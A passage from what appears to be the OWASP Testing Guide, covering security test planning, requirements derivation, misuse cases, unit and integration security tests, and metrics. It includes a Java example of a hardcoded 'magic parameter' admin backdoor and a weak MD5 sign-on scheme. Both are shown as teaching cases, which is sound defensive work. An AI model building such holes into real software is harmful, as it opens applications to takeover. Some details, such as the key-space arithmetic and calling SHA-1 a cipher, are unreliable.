Of course there are times and circumstances where only one technique is possible; for example, a test on a web application that has already been created, and where the testing party does not have access to the source code. In this case, penetration testing is clearly better than no testing at all. However, we encourage the testing parties to challenge assumptions, such as no access to source code, and to explore the possibility of more complete testing.
A balanced approach varies depending on many factors, such as the maturity of the testing process and corporate culture. However, it is recommended that a balanced testing framework look something like the representations shown in Figure 3 and Figure 4. The following figure shows a typical proportional representation overlaid onto the software development life cycle. In keeping with research and experience, it is essential that companies place a higher emphasis on the early stages of development.
<center>
[[Image:ProportionSDLC.png]]
 ''Figure 3: Proportion of Test Effort in SDLC''
</center>
The following figure shows a typical proportional representation overlaid onto testing techniques. 
<center>
[[Image:ProportionTest.png]]
 ''Figure 4: Proportion of Test Effort According to Test Technique''
</center>

'''A Note about Web Application Scanners''' 
Many organizations have started to use automated web application scanners. While they undoubtedly have a place in a testing program, we want to highlight some fundamental issues about why we do not believe that automating black box testing is (or will ever be) effective. By highlighting these issues, we are not discouraging web application scanner use. Rather, we are saying that their limitations should be understood, and testing frameworks should be planned appropriately.
NB: OWASP is currently working to develop a web application scanner-benchmarking platform. The following examples indicate why automated black box testing is not effective.
 
'''Example 1: Magic Parameters''' 
Imagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request may be: ''<nowiki>http://www.host/application?magic=value</nowiki>'' To further simplify the example, the values in this case can only be ASCII characters a – z (upper or lowercase) and integers 0 – 9. The designers of this application created an administrative backdoor during testing, but obfuscated it to prevent the casual observer from discovering it. By submitting the value sf8g7sfjdsurtsdieerwqredsgnfg8d (30 characters), the user will then be logged in and presented with an administrative screen with total control of the application. The HTTP request is now: ''<nowiki>http://www.host/application?magic= sf8g7sfjdsurtsdieerwqredsgnfg8d </nowiki>'' 
Given that all of the other parameters were simple two- and three-characters fields, it is not possible to start guessing combinations at approximately 28 characters. A web application scanner will need to brute force (or guess) the entire key space of 30 characters. That is up to 30^28 permutations, or trillions of HTTP requests! That is an electron in a digital haystack!
The code for this exemplar Magic Parameter check may look like the following: 
public void doPost( HttpServletRequest request, HttpServletResponse response)
{
String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;
boolean admin = magic.equals( request.getParameter(“magic”));
if (admin) doAdmin( request, response);
else …. // normal processing
}
By looking in the code, the vulnerability practically leaps off the page as a potential problem.
 
'''Example 2: Bad Cryptography''' 
Cryptography is widely used in web applications. Imagine that a developer decided to write a simple cryptography algorithm to sign a user in from site A to site B automatically. In his/her wisdom, the developer decides that if a user is logged into site A, then he/she will generate a key using an MD5 hash function that comprises: ''Hash { username : date }'' 
When a user is passed to site B, he/she will send the key on the query string to site B in an HTTP re-direct. Site B independently computes the hash, and compares it to the hash passed on the request. If they match, site B signs the user in as the user they claim to be. Clearly, as we explain the scheme, the inadequacies can be worked out, and it can be seen how anyone that figures it out (or is told how it works, or downloads the information from Bugtraq) can login as any user. Manual inspection, such as an interview, would have uncovered this security issue quickly, as would inspection of the code. A black-box web application scanner would have seen a 128-bit hash that changed with each user, and by the nature of hash functions, did not change in any predictable way.
 
'''A Note about Static Source Code Review Tools''' 
Many organizations have started to use static source code scanners. While they undoubtedly have a place in a comprehensive testing program, we want to highlight some fundamental issues about why we do not believe this approach is effective when used alone. Static source code analysis alone cannot identify issues due to flaws in the design since it cannot understand the context in which the code is constructed. Source code analysis tools are useful in determining security issues due to coding errors, however significant manual effort is required to validate the findings.
 

==Security Requirements Test Derivation==
If you want to have a successful testing program, you need to know what the objectives of the testing are. These objectives are specified by security requirements. This section discusses in detail how to document requirements for security testing by deriving them from applicable standards and regulations and positive and negative application requirements. It also discusses how security requirements effectively drive security testing during the SDLC and how security test data can be used to effectively manage software security risks.

'''Testing Objectives''' 
One of the objectives of security testing is to validate that security controls function as expected. This is documented via ''security requirements'' that describe the functionality of the security control. At a high level, this means proving confidentiality, integrity, and availability of the data as well as the service. The other objective is to validate that security controls are implemented with few or no vulnerabilities. These are common vulnerabilities, such as the [[OWASP Top Ten]], as well as vulnerabilities that are previously identified with security assessments during the SDLC, such as threat modeling, source code analysis, and penetration test.

'''Security Requirements Documentation''' 
The first step in the documentation of security requirements is to understand the ''business requirements''. A business requirement document could provide the initial, high-level information of the expected functionality for the application. For example, the main purpose of an application may be to provide financial services to customers or shopping and purchasing goods from an on-line catalogue. A security section of the business requirements should highlight the need to protect the customer data as well as to comply with applicable security documentation such as regulations, standards, and policies.

A general checklist of the applicable regulations, standards, and policies serves well the purpose of a preliminary security compliance analysis for web applications. For example, compliance regulations can be identified by checking information about the business sector and the country/state where the application needs to function/operate. Some of these compliance guidelines and regulations might translate in specific technical requirements for security controls. For example, in the case of financial applications, the compliance with FFIEC guidelines for authentication [15] requires that financial institutions implement applications that mitigate weak authentication risks with multi-layered security control and multi factor authentication.

Applicable industry standards for security need also to be captured by the general security requirement checklist. For example, in the case of applications that handle customer credit card data, the compliance with the PCI DSS [16] standard forbids the storage of PINs and CVV2 data and requires that the merchant protect magnetic strip data in storage and transmission with encryption and on display by masking. Such PCI DSS security requirements could be validated via source code analysis.

Another section of the checklist needs to enforce general requirements for compliance with the organization information security standards and policies. From the functional requirements perspective, requirements for the security control need to map to a specific section of the information security standards. An example of such requirement can be: "a password complexity of six alphanumeric characters must be enforced by the authentication controls used by the application." When security requirements map to compliance rules a security test can validate the exposure of compliance risks. If violation with information security standards and policies are found, these will result in a risk that can be documented and that the business has to deal with (i.e., manage). For this reason, since these security compliance requirements are enforceable, they need to be well documented and validated with security tests.

'''Security Requirements Validation''' 
From the functionality perspective, the validation of security requirements is the main objective of security testing, while, from the risk management perspective, this is the objective of information security assessments. At a high level, the main goal of information security assessments is the identification of gaps in security controls, such as lack of basic authentication, authorization, or encryption controls. More in depth, the security assessment objective is risk analysis, such as the identification of potential weaknesses in security controls that ensure the confidentiality, integrity, and availability of the data. For example, when the application deals with personal identifiable information (PII) and sensitive data, the security requirement to be validated is the compliance with the company information security policy requiring encryption of such data in transit and in storage. Assuming encryption is used to protect the data, encryption algorithms and key lengths need to comply with the organization encryption standards. These might require that only certain algorithms and key lengths could be used. For example, a security requirement that can be security tested is verifying that only allowed ciphers are used (e.g., SHA-1, RSA, 3DES) with allowed minimum key lengths (e.g., more than 128 bit for symmetric and more than 1024 for asymmetric encryption).

From the security assessment perspective, security requirements can be validated at different phases of the SDLC by using different artifacts and testing methodologies. For example, threat modeling focuses on identifying security flaws during design, secure code analysis and reviews focus on identifying security issues in source code during development, and penetration testing focuses on identifying vulnerabilities in the application during testing/validation.

Security issues that are identified early in the SDLC can be documented in a test plan so they can be validated later with security tests. By combining the results of different testing techniques, it is possible to derive better security test cases and increase the level of assurance of the security requirements. For example, distinguishing true vulnerabilities from the un-exploitable ones is possible when the results of penetration tests and source code analysis are combined. Considering the security test for a SQL injection vulnerability, for example, a black box test might involve first a scan of the application to fingerprint the vulnerability. The first evidence of a potential SQL injection vulnerability that can be validated is the generation of a SQL exception. A further validation of the SQL vulnerability might involve manually injecting attack vectors to modify the grammar of the SQL query for an information disclosure exploit. This might involve a lot of trial-and-error analysis till the malicious query is executed. Assuming the tester has the source code, she might learn from the source code analysis on how to construct the SQL attack vector that can exploit the vulnerability (e.g., execute a malicious query returning confidential data to unauthorized user).

'''Threats and Countermeasures Taxonomies''' 
A ''threat and countermeasure classification'' that takes into consideration root causes of vulnerabilities is the critical factor to verify that security controls are designed, coded, and built so that the impact due to the exposure of such vulnerabilities is mitigated. In the case of web applications, the exposure of security controls to common vulnerabilities, such as the OWASP Top Ten, can be a good starting point to derive general security requirements. More specifically, the web application security frame [17] provides a classification (e.g. taxonomy) of vulnerabilities that can be documented in different guidelines and standards and validated with security tests.

The focus of a threat and countermeasure categorization is to define security requirements in terms of the threats and the root cause of the vulnerability. A threat can be categorized by using STRIDE [18], for example, as Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. The root cause can be categorized as security flaw in design, a security bug in coding, or an issue due to insecure configuration. For example, the root cause of weak authentication vulnerability might be the lack of mutual authentication when data crosses a trust boundary between the client and server tiers of the application. A security requirement that captures the threat of non-repudiation during an architecture design review allows for the documentation of the requirement for the countermeasure (e.g., mutual authentication) that can be validated later on with security tests.

A threat and countermeasure categorization for vulnerabilities can also be used to document security requirements for secure coding such as secure coding standards. An example of a common coding error in authentication controls consists of applying an hash function to encrypt a password, without applying a seed to the value. From the secure coding perspective, this is a vulnerability that affects the encryption used for authentication with a vulnerability root cause in a coding error. Since the root cause is insecure coding the security requirement can be documented in secure coding standards and validated through secure code reviews during the development phase of the SDLC.

'''Security Testing and Risk Analysis''' 
Security requirements need to take into consideration the severity of the vulnerabilities to support a ''risk mitigation strategy''. Assuming that the organization maintains a repository of vulnerabilities found in applications, i.e., a vulnerability knowledge base, the security issues can be reported by type, issue, mitigation, root cause, and mapped to the applications where they are found. Such a vulnerability knowledge base can also be used to establish a metrics to analyze the effectiveness of the security tests throughout the SDLC.

For example, consider an input validation issue, such as a SQL injection, which was identified via source code analysis and reported with a coding error root cause and input validation vulnerability type. The exposure of such vulnerability can be assessed via a penetration test, by probing input fields with several SQL injection attack vectors. This test might validate that special characters are filtered before hitting the database and mitigate the vulnerability. By combining the results of source code analysis and penetration testing it is possible to determine the likelihood and exposure of the vulnerability and calculate the risk rating of the vulnerability. By reporting vulnerability risk ratings in the findings (e.g., test report) it is possible to decide on the mitigation strategy. For example, high and medium risk vulnerabilities can be prioritized for remediation, while low risk can be fixed in further releases.

By considering the threat scenarios exploiting common vulnerabilities it is possible to identify potential risks for which the application security control needs to be security tested. For example, the OWASP Top Ten vulnerabilities can be mapped to attacks such as phishing, privacy violations, identify theft, system compromise, data alteration or data destruction, financial loss, and reputation loss. Such issues should be documented as part of the threat scenarios. By thinking in terms of threats and vulnerabilities, it is possible to devise a battery of tests that simulate such attack scenarios. Ideally, the organization vulnerability knowledge base can be used to derive security risk driven tests cases to validate the most likely attack scenarios. For example if identity theft is considered high risk, negative test scenarios should validate the mitigation of impacts deriving from the exploit of vulnerabilities in authentication, cryptographic controls, input validation, and authorization controls.

===Functional and Non Functional Test Requirements===
'''Functional Security Requirements''' 
From the perspective of functional security requirements, the applicable standards, policies and regulations drive both the need of a type of security control as well as the control functionality. These requirements are also referred to as “positive requirements”, since they state the expected functionality that can be validated through security tests.
Examples of positive requirements are: “the application will lockout the user after six failed logon attempts” or “passwords need to be six min characters, alphanumeric”. The validation of positive requirements consists of asserting the expected functionality and, as such, can be tested by re-creating the testing conditions, and by running the test according to predefined inputs and by asserting the expected outcome as a fail/pass condition.

In order to validate security requirements with security tests, security requirements need to be function driven and highlight the expected functionality (the what) and implicitly the implementation (the how). Examples of high-level security design requirements for authentication can be:
*Protect user credentials and shared secrets in transit and in storage
*Mask any confidential data in display (e.g., passwords, accounts)
*Lock the user account after a certain number of failed login attempts
*Do not show specific validation errors to the user as a result of failed logon
*Only allow passwords that are alphanumeric, include special characters and six characters minimum length, to limit the attack surface
*Allow for password change functionality only to authenticated users by validating the old password, the new password, and the user answer to the challenge question, to prevent brute forcing of a password via password change.
*The password reset form should validate the user’s username and the user’s registered email before sending the temporary password to the user via email. The temporary password issued should be a one time password. A link to the password reset web page will be sent to the user. The password reset web page should validate the user temporary password, the new password, as well as the user answer to the challenge question.

'''Risk Driven Security Requirements''' 
Security tests need also to be risk driven, that is they need to validate the application for unexpected behavior. These are also called “negative requirements”, since they specify what the application should not do.
Examples of "should not do" (negative) requirements are:
* The application should not allow for the data to be altered or destroyed
* The application should not be compromised or misused for unauthorized financial transactions by a malicious user.

Negative requirements are more difficult to test, because there is no expected behavior to look for. This might require a threat analyst to come up with unforeseeable input conditions, causes, and effects. This is where security testing needs to be driven by risk analysis and threat modeling.
The key is to document the threat scenarios and the functionality of the countermeasure as a factor to mitigate a threat. For example, in the case of authentication controls, the following security requirements can be documented from the threats and countermeasure perspective:
*Encrypt authentication data in storage and transit to mitigate risk of information disclosure and authentication protocol attacks
*Encrypt passwords using non reversible encryption such as using a digest (e.g., HASH) and a seed to prevent dictionary attacks
*Lock out accounts after reaching a logon failure threshold and enforce password complexity to mitigate risk of brute force password attacks
*Display generic error messages upon validation of credentials to mitigate risk of account harvesting/enumeration
*Mutually authenticate client and server to prevent non-repudiation and Man In the Middle (MiTM) attacks

Threat modeling artifacts such as threat trees and attack libraries can be useful to derive the negative test scenarios. A threat tree will assume a root attack (e.g., attacker might be able to read other users' messages) and identify different exploits of security controls (e.g., data validation fails because of a SQL injection vulnerability) and necessary countermeasures (e.g., implement data validation and parametrized queries) that could be validated to be effective in mitigating such attacks.

===Security Requirements Derivation Through Use and Misuse Cases===
Pre-requisite in describing the application functionality is to understand what the application is supposed to do and how. This can be done by describing ''use cases''. Use cases, in the graphical form as commonly used in software engineering, show the interactions of actors and their relations, and help to identify the actors in the application, their relationships, the intended sequence of actions for each scenario, alternative actions, special requirements, and pre- and post-conditions. Similar to use cases, ''misuse and abuse cases'' [19] describe unintended and malicious use scenarios of the application. These misuse cases provide a way to describe scenarios of how an attacker could misuse and abuse the application. By going through the individual steps in a use scenario and thinking about how it can be maliciously exploited, potential flaws or aspects of the application that are not well-defined can be discovered. The key is to describe all possible or, at least, the most critical use and misuse scenarios. Misuse scenarios allow the analysis of the application from the attacker's point of view and contribute to identifying potential vulnerabilities and the countermeasures that need to be implemented to mitigate the impact caused by the potential exposure to such vulnerabilities. Given all of the use and abuse cases, it is important to analyze them to determine which of them are the most critical ones and need to be documented in security requirements. The identification of the most critical misuse and abuse cases drives the documentation of security requirements and the necessary controls where security risks should be mitigated.

To derive security requirements from use and misuse case [20] , it is important to define the functional scenarios and the negative scenarios, and put these in graphical form. In the case of derivation of security requirements for authentication, for example, the following step-by-step methodology can be followed.

*Step 1: Describe the Functional Scenario: User authenticates by supplying username and password. The application grants access to users based upon authentication of user credentials by the application and provides specific errors to the user when validation fails.

*Step 2: Describe the Negative Scenario: Attacker breaks the authentication through a brute force/dictionary attack of passwords and account harvesting vulnerabilities in the application. The validation errors provide specific information to an attacker to guess which accounts are actually valid, registered accounts (usernames). The attacker, then, will try to brute force the password for such a valid account. A brute force attack to four minimum length all digit passwords can succeed with a limited number of attempts (i.e., 10^4).

*Step 3: Describe Functional and Negative Scenarios With Use and Misuse Case: The graphical example in Figure below depicts the derivation of security requirements via use and misuse cases. The functional scenario consists of the user actions (entering username and password) and the application actions (authenticating the user and providing an error message if validation fails). The misuse case consists of the attacker actions, i.e., trying to break authentication by brute forcing the password via a dictionary attack and by guessing the valid usernames from error messages. By graphically representing the threats to the user actions (misuses), it is possible to derive the countermeasures as the application actions that mitigate such threats.
[[Image:UseAndMisuseCase.jpg]]

*Step 4: Elicit The Security Requirements. In this case, the following security requirements for authentication are derived:
:1) Passwords need to be alphanumeric, lower and upper case and minimum of seven character length
:2) Accounts need to lockout after five unsuccessful login attempt
:3) Logon error messages need to be generic
These security requirements need to be documented and tested.

===Security Tests Integrated in Developers' and Testers' Workflows===
'''Developers' Security Testing Workflow''' 
Security testing during the development phase of the SDLC represents the first opportunity for developers to ensure that individual software components that they have developed are security tested before they are integrated with other components and built into the application. Software components might consist of software artifacts such as functions, methods, and classes, as well as application programming interfaces, libraries, and executables. For security testing, developers can rely on the results of the source code analysis to verify statically that the developed source code does not include potential vulnerabilities and is compliant with the secure coding standards. Security unit tests can further verify dynamically (i.e., at run time) that the components function as expected. Before integrating both new and existing code changes in the application build, the results of the static and dynamic analysis should be reviewed and validated.
The validation of source code before integration in application builds is usually the responsibility of the senior developer. Such senior developer is also the subject matter expert in software security and his role is to lead the secure code review and make decisions whether to accept the code to be released in the application build or to require further changes and testing. This secure code review workflow can be enforced via formal acceptance as well as a check in a workflow management tool. For example, assuming the typical defect management workflow used for functional bugs, security bugs that have been fixed by a developer can be reported on a defect or change management system. The build master can look at the test results reported by the developers in the tool and grant approvals for checking in the code changes into the application build.

'''Testers' Security Testing Workflow''' 
After components and code changes are tested by developers and checked in to the application build, the most likely next step in the software development process workflow is to perform tests on the application as a whole entity. This level of testing is usually referred to as integrated test and system level test. When security tests are part of these testing activities, they can be used to validate both the security functionality of the application as a whole, as well as the exposure to application level vulnerabilities. These security tests on the application include both white box testing, such as source code analysis, and black box testing, such as penetration testing. Gray box testing is similar to Black box testing. In a gray box testing we can assume we have some partial knowledge about the session management of our application, and that should help us in understanding whether the logout and timeout functions are properly secured.

The target for the security tests is the complete system that is the artifact that will be potentially attacked and includes both whole source code and the executable. One peculiarity of security testing during this phase is that it is possible for security testers to determine whether vulnerabilities can be exploited and expose the application to real risks.
These include common web application vulnerabilities, as well as security issues that have been identified earlier in the SDLC with other activities such as threat modeling, source code analysis, and secure code reviews.

Usually, testing engineers, rather then software developers, perform security tests when the application is in scope for integration system tests. Such testing engineers have security knowledge of web application vulnerabilities, black box and white box security testing techniques, and own the validation of security requirements in this phase. In order to perform such security tests, it is a pre-requisite that security test cases are documented in the security testing guidelines and procedures.

A testing engineer who validates the security of the application in the integrated system environment might release the application for testing in the operational environment (e.g., user acceptance tests). At this stage of the SDLC (i.e., validation), the application functional testing is usually a responsibility of QA testers, while white-hat hackers/security consultants are usually responsible for security testing. Some organizations rely on their own specialized ethical hacking team in order to conduct such tests when a third party assessment is not required (such as for auditing purposes).

Since these tests are the last resort for fixing vulnerabilities before the application is released to production, it is important that such issues are addressed as recommended by the testing team (e.g., the recommendations can include code, design, or configuration change). At this level, security auditors and information security officers discuss the reported security issues and analyze the potential risks according to information risk management procedures. Such procedures might require the developer team to fix all high risk vulnerabilities before the application could be deployed, unless such risks are acknowledged and accepted.

===Developers' Security Tests===
'''Security Testing in the Coding Phase: Unit Tests''' 
From the developer’s perspective, the main objective of security tests is to validate that code is being developed in compliance with secure coding standards requirements. Developers' own coding artifacts such as functions, methods, classes, APIs, and libraries need to be functionally validated before being integrated into the application build.

The security requirements that developers have to follow should be documented in secure coding standards and validated with static and dynamic analysis. As testing activity following a secure code review, unit tests can validate that code changes required by secure code reviews are properly implemented. Secure code reviews and source code analysis through source code analysis tools help developers in identifying security issues in source code as it is developed. By using unit tests and dynamic analysis (e.g., debugging) developers can validate the security functionality of components as well as verify that the countermeasures being developed mitigate any security risks previously identified through threat modeling and source code analysis.

A good practice for developers is to build security test cases as a generic security test suite that is part of the existing unit testing framework. A generic security test suite could be derived from previously defined use and misuse cases to security test functions, methods and classes. A generic security test suite might include security test cases to validate both positive and negative requirements for security controls such as:
* Authentication & Access Control
* Input Validation & Encoding
* Encryption
* User and Session Management
* Error and Exception Handling
* Auditing and Logging

Developers empowered with a source code analysis tool integrated into their IDE, secure coding standards, and a security unit testing framework can assess and verify the security of the software components being developed. Security test cases can be run to identify potential security issues that have root causes in source code: besides input and output validation of parameters entering and exiting the components, these issues include authentication and authorization checks done by the component, protection of the data within the component, secure exception and error handling, and secure auditing and logging. Unit test frameworks such as Junit, Nunit, and CUnit can be adapted to verify security test requirements. In the case of security functional tests, unit level tests can test the functionality of security controls at the software component level, such as functions, methods, or classes. For example, a test case could validate input and output validation (e.g., variable sanitization) and boundary checks for variables by asserting the expected functionality of the component.

The threat scenarios identified with use and misuse cases can be used to document the procedures for testing software components. In the case of authentication components, for example, security unit tests can assert the functionality of setting an account lockout as well as the fact that user input parameters cannot be abused to bypass the account lockout (e.g., by setting the account lockout counter to a negative number). At the component level, security unit tests can validate positive assertions as well as negative assertions, such as errors and exception handling. Exceptions should be caught without leaving the system in an insecure state, such as potential denial of service caused by resources not being deallocated (e.g., connection handles not closed within a final statement block), as well as potential elevation of privileges (e.g., higher privileges acquired before the exception is thrown and not re-set to the previous level before exiting the function). Secure error handling can validate potential information disclosure via informative error messages and stack traces.

Unit level security test cases can be developed by a security engineer who is the subject matter expert in software security and is also responsible for validating that the security issues in the source code have been fixed and can be checked into the integrated system build. Typically, the manager of the application builds also makes sure that third-party libraries and executable files are security assessed for potential vulnerabilities before being integrated in the application build.

Threat scenarios for common vulnerabilities that have root causes in insecure coding can also be documented in the developer’s security testing guide. When a fix is implemented for a coding defect identified with source code analysis, for example, security test cases can verify that the implementation of the code change follows the secure coding requirements documented in the secure coding standards.

Source code analysis and unit tests can validate that the code change mitigates the vulnerability exposed by the previously identified coding defect. The results of automated secure code analysis can also be used as automatic check-in gates for version control: software artifacts cannot be checked into the build with high or medium severity coding issues.

===Functional Testers' Security Tests===
'''Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests''' 
The main objective of integrated system tests is to validate the “defense in depth” concept, that is, that the implementation of security controls provides security at different layers. For example, the lack of input validation when calling a component integrated with the application is often a factor that can be tested with integration testing.

The integration system test environment is also the first environment where testers can simulate real attack scenarios as can be potentially executed by a malicious external or internal user of the application. Security testing at this level can validate whether vulnerabilities are real and can be exploited by attackers. For example, a potential vulnerability found in source code can be rated as high risk because of the exposure to potential malicious users, as well as because of the potential impact (e.g., access to confidential information).
Real attack scenarios can be tested with both manual testing techniques and penetration testing tools. Security tests of this type are also referred to as ethical hacking tests. From the security testing perspective, these are risk driven tests and have the objective to test the application in the operational environment. The target is the application build that is representative of the version of the application being deployed into production.

The execution of security in the integration and validation phase is critical to identifying vulnerabilities due to integration of components as well as validating the exposure of such vulnerabilities. Since application security testing requires a specialized set of skills, which includes both software and security knowledge and is not typical of security engineers, organizations are often required to security-train their software developers on ethical hacking techniques, security assessment procedures and tools. A realistic scenario is to develop such resources in-house and document them in security testing guides and procedures that take into account the developer’s security testing knowledge. A so called “security test cases cheat list or check-list”, for example, can provide simple test cases and attack vectors that can be used by testers to validate exposure to common vulnerabilities such as spoofing, information disclosures, buffer overflows, format strings, SQL injection and XSS injection, XML, SOAP, canonicalization issues, denial of service and managed code and ActiveX controls (e.g., .NET). A first battery of these tests can be performed manually with a very basic knowledge of software security. The first objective of security tests might be the validation of a set of minimum security requirements. These security test cases might consist of manually forcing the application into error and exceptional states, and gathering knowledge from the application behavior. For example, SQL injection vulnerabilities can be tested manually by injecting attack vectors through user input and by checking if SQL exceptions are thrown back the user. The evidence of a SQL exception error might be a manifestation of a vulnerability that can be exploited. A more in-depth security test might require the tester’s knowledge of specialized testing techniques and tools. Besides source code analysis and penetration testing, these techniques include, for example, source code and binary fault injection, fault propagation analysis and code coverage, fuzz testing, and reverse engineering. The security testing guide should provide procedures and recommend tools that can be used by security testers to perform such in-depth security assessments.

The next level of security testing after integration system tests is to perform security tests in the user acceptance environment. There are unique advantages to performing security tests in the operational environment. The user acceptance tests environment (UAT) is the one that is most representative of the release configuration, with the exception of the data (e.g., test data is used in place of real data). A characteristic of security testing in UAT is testing for security configuration issues. In some cases these vulnerabilities might represent high risks. For example, the server that hosts the web application might not be configured with minimum privileges, valid SSL certificate and secure configuration, essential services disabled and web root directory not cleaned from test and administration web pages.

===Security Test Data Analysis and Reporting===
'''Goals for Security Test Metrics and Measurements''' 
The definition of the goals for the security testing metrics and measurements is a pre-requisite for using security testing data for risk analysis and management processes. For example, a measurement such as the total number of vulnerabilities found with security tests might quantify the security posture of the application. These measurements also help to identify security objectives for software security testing: for example, reducing the number of vulnerabilities to an acceptable number (minimum) before the application is deployed into production.

Another manageable goal could be to compare the application security posture against a baseline to assess improvements in application security processes. For example, the security metrics baseline might consist of an application that was tested only with penetration tests. The security data obtained from an application that was also security tested during coding should show an improvement (e.g., fewer number of vulnerabilities) when compared with the baseline.

In traditional software testing, the number of software defects, such as the bugs found in an application, could provide a measure of software quality. Similarly, security testing can provide a measure of software security. From the defect management and reporting perspective, software quality and security testing can use similar categorizations for root causes and defect remediation efforts. From the root cause perspective, a security defect can be due to an error in design (e.g., security flaws) or due to an error in coding (e.g., security bug). From the perspective of the effort required to fix a defect, both security and quality defects can be measured in terms of developer hours to implement the fix, the tools and resources required to fix, and, finally, the cost to implement the fix.

A characteristic of security test data, compared to quality data, is the categorization in terms of the threat, the exposure of the vulnerability, and the potential impact posed by the vulnerability to determine the risk. Testing applications for security consists of managing technical risks to make sure that the application countermeasures meet acceptable levels. For this reason, security testing data needs to support the security risk strategy at critical checkpoints during the SDLC. For example, vulnerabilities found in source code with source code analysis represent an initial measure of risk. Such measure of risk (e.g., high, medium, low) for the vulnerability can be calculated by determining the exposure and likelihood factors and, further, by validating such vulnerability with penetration tests. The risk metrics associated to vulnerabilities found with security tests empower business management to make risk management decisions, such as to decide whether risks can be accepted, mitigated, or transferred at different levels within the organization (e.g., business as well as technical).

When evaluating the security posture of an application, it is important to take into consideration certain factors, such as the size of the application being developed. Application size has been statistically proven to be related to the number of issues found in the application with tests. One measure of application size is the number of line of code (LOC) of the application. Typically, software quality defects range from about 7 to 10 defects per thousand lines of new and changed code [21]. Since testing can reduce the overall number by about 25% with one test alone, it is logical for larger size applications to be tested more and more often than smaller size applications.

When security testing is done in several phases of the SDLC, the test data could prove the capability of the security tests in detecting vulnerabilities as soon as they are introduced, and prove the effectiveness of removing them by implementing countermeasures at different checkpoints of the SDLC. A measurement of this type is also defined as “containment metrics” and provides a measure of the ability of a security assessment performed at each phase of the development process to maintain security within each phase. These containment metrics are also a critical factor in lowering the cost of fixing the vulnerabilities, since it is less expensive to deal with the vulnerabilities when they are found (in the same phase of the SDLC), rather then fixing them later in another phase.

Security test metrics can support security risk, cost, and defect management analysis when it is associated with tangible and timed goals such as:
*Reducing the overall number of vulnerabilities by 30%
*Security issues are expected to be fixed by a certain deadline (e.g., before beta release)

Security test data can be absolute, such as the number of vulnerabilities detected during manual code review, as well as comparative, such as the number of vulnerabilities detected in code reviews vs. penetration tests. To answer questions about the quality of the security process, it is important to determine a baseline for what could be considered acceptable and good.

Security test data can also support specific objectives of the security analysis such as compliance with security regulations and information security standards, management of security processes, the identification of security root causes and process improvements, and security costs vs. benefits analysis.

When security test data is reported it has to provide metrics to support the analysis. The scope of the analysis is the interpretation of test data to find clues about the security of the software being produced as well the effectiveness of the process.
Some examples of clues supported by security test data can be:
*Are vulnerabilities reduced to an acceptable level for release?
*How does the security quality of this product compare with similar software products?
*Are all security test requirements being met?
*What are the major root causes of security issues?
*How numerous are security flaws compared to security bugs?
*Which security activity is most effective in finding vulnerabilities?
*Which team is more productive in fixing security defects and vulnerabilities?
*Which percentage of overall vulnerabilities are high risk?
*Which tools are most effective in detecting security vulnerabilities?
*Which kind of security tests are most effective in finding vulnerabilities (e.g., white box vs. black box) tests?
*How many security issues are found during secure code reviews?
*How many security issues are found during secure design reviews?

In order to make a sound judgment using the testing data, it is important to have a good understanding of the testing process as well as the testing tools. A tool taxonomy should be adopted to decide which security tools should be used. Security tools can be qualified as being good at finding common known vulnerabilities targeting different artifacts.
The issue is that the unknown security issues are not tested: the fact that you come out clean it does not mean that your software or application is good. Some studies [22] have demonstrated that, at best, tools can find 45% of overall vulnerabilities.

Even the most sophisticated automation tools are not a match for an experienced security tester: just relying on successful test results from automation tools will give security practitioners a false sense of security. Typically, the more experienced the security testers are with the security testing methodology and testing tools, the better the results of the security test and analysis will be. It is important that managers making an investment in security testing tools also consider an investment in hiring skilled human resources as well as security test training.

'''Reporting Requirements''' 
The security posture of an application can be characterized from the perspective of the effect, such as number of vulnerabilities and the risk rating of the vulnerabilities, as well as from the perspective of the cause (i.e., origin) such as coding errors, architectural flaws, and configuration issues.

Vulnerabilities can be classified according to different criteria. This can be a statistical categorization, such as the OWASP Top 10 and WASC (Web Application Security Statistics) project, or related to defensive controls as in the case of WASF (Web Application Security Framework) categorization.

When reporting security test data, the best practice is to include the following information, besides the categorization of each vulnerability by type:
*The security threat that the issue is exposed to
*The root cause of security issues (e.g., security bugs, security flaw)
*The testing technique used to find it
*The remediation of the vulnerability (e.g., the countermeasure)
*The risk rating of the vulnerability (High, Medium, Low)

By describing what the security threat is, it will be possible to understand if and why the mitigation control is ineffective in mitigating the threat.

Reporting the root cause of the issue can help pinpoint what needs to be fixed: in the case of a white box testing, for example, the software security root cause of the vulnerability will be the offending source code.

Once issues are reported, it is also important to provide guidance to the software developer on how to re-test and find the vulnerability. This might involve using a white box testing technique (e.g., security code review with a static code analyzer) to find if the code is vulnerable. If a vulnerability can be found via a black box technique (penetration test), the test report also needs to provide information on how to validate the exposure of the vulnerability to the front end (e.g., client).

The information about how to fix the vulnerability should be detailed enough for a developer to implement a fix. It should provide secure coding examples, configuration changes, and provide adequate references.

Finally the risk rating helps to prioritize the remediation effort. Typically, assigning a risk rating to the vulnerability involves a risk analysis based upon factors such as impact and exposure.

'''Business Cases''' 
For the security test metrics to be useful, they need to provide value back to the organization's security test data stakeholders, such as project managers, developers, information security offices, auditors, and chief information officers. The value can be in terms of the business case that each project stakeholder has in terms of role and responsibility.

Software developers look at security test data to show that software is coded more securely and efficiently, so that they can make the case of using source code analysis tools as well as following secure coding standards and attending software security training.

Project managers look for data that allows them to successfully manage and utilize security testing activities and resources according to the project plan. To project managers, security test data can show that projects are on schedule and moving on target for delivery dates and are getting better during tests.

Security test data also helps the business case for security testing if the initiative comes from information security officers (ISOs). For example, it can provide evidence that security testing during the SDLC does not impact the project delivery, but rather reduces the overall workload needed to address vulnerabilities later in production.

To compliance auditors, security test metrics provide a level of software security assurance and confidence that security standard compliance is addressed through the security review processes within the organization.

Finally, Chief Information Officers (CIOs) and Chief Information Security Officers (CISOs), responsible for the budget that needs to be allocated in security resources, look for derivation of a cost/benefit analysis from security test data to make informed decisions on which security activities and tools to invest. One of the metrics that support such analysis is the Return On Investment (ROI) in Security [23]. To derive such metrics from security test data, it is important to quantify the differential between the risk due to the exposure of vulnerabilities and the effectiveness of the security tests in mitigating the security risk, and factor this gap with the cost of the security testing activity or the testing tools adopted.

== References ==
[1] T. DeMarco, ''Controlling Software Projects: Management, Measurement and Estimation'', Yourdon Press, 1982

[2] S. Payne, ''A Guide to Security Metrics'' - http://www.sans.org/reading_room/whitepapers/auditing/55.php

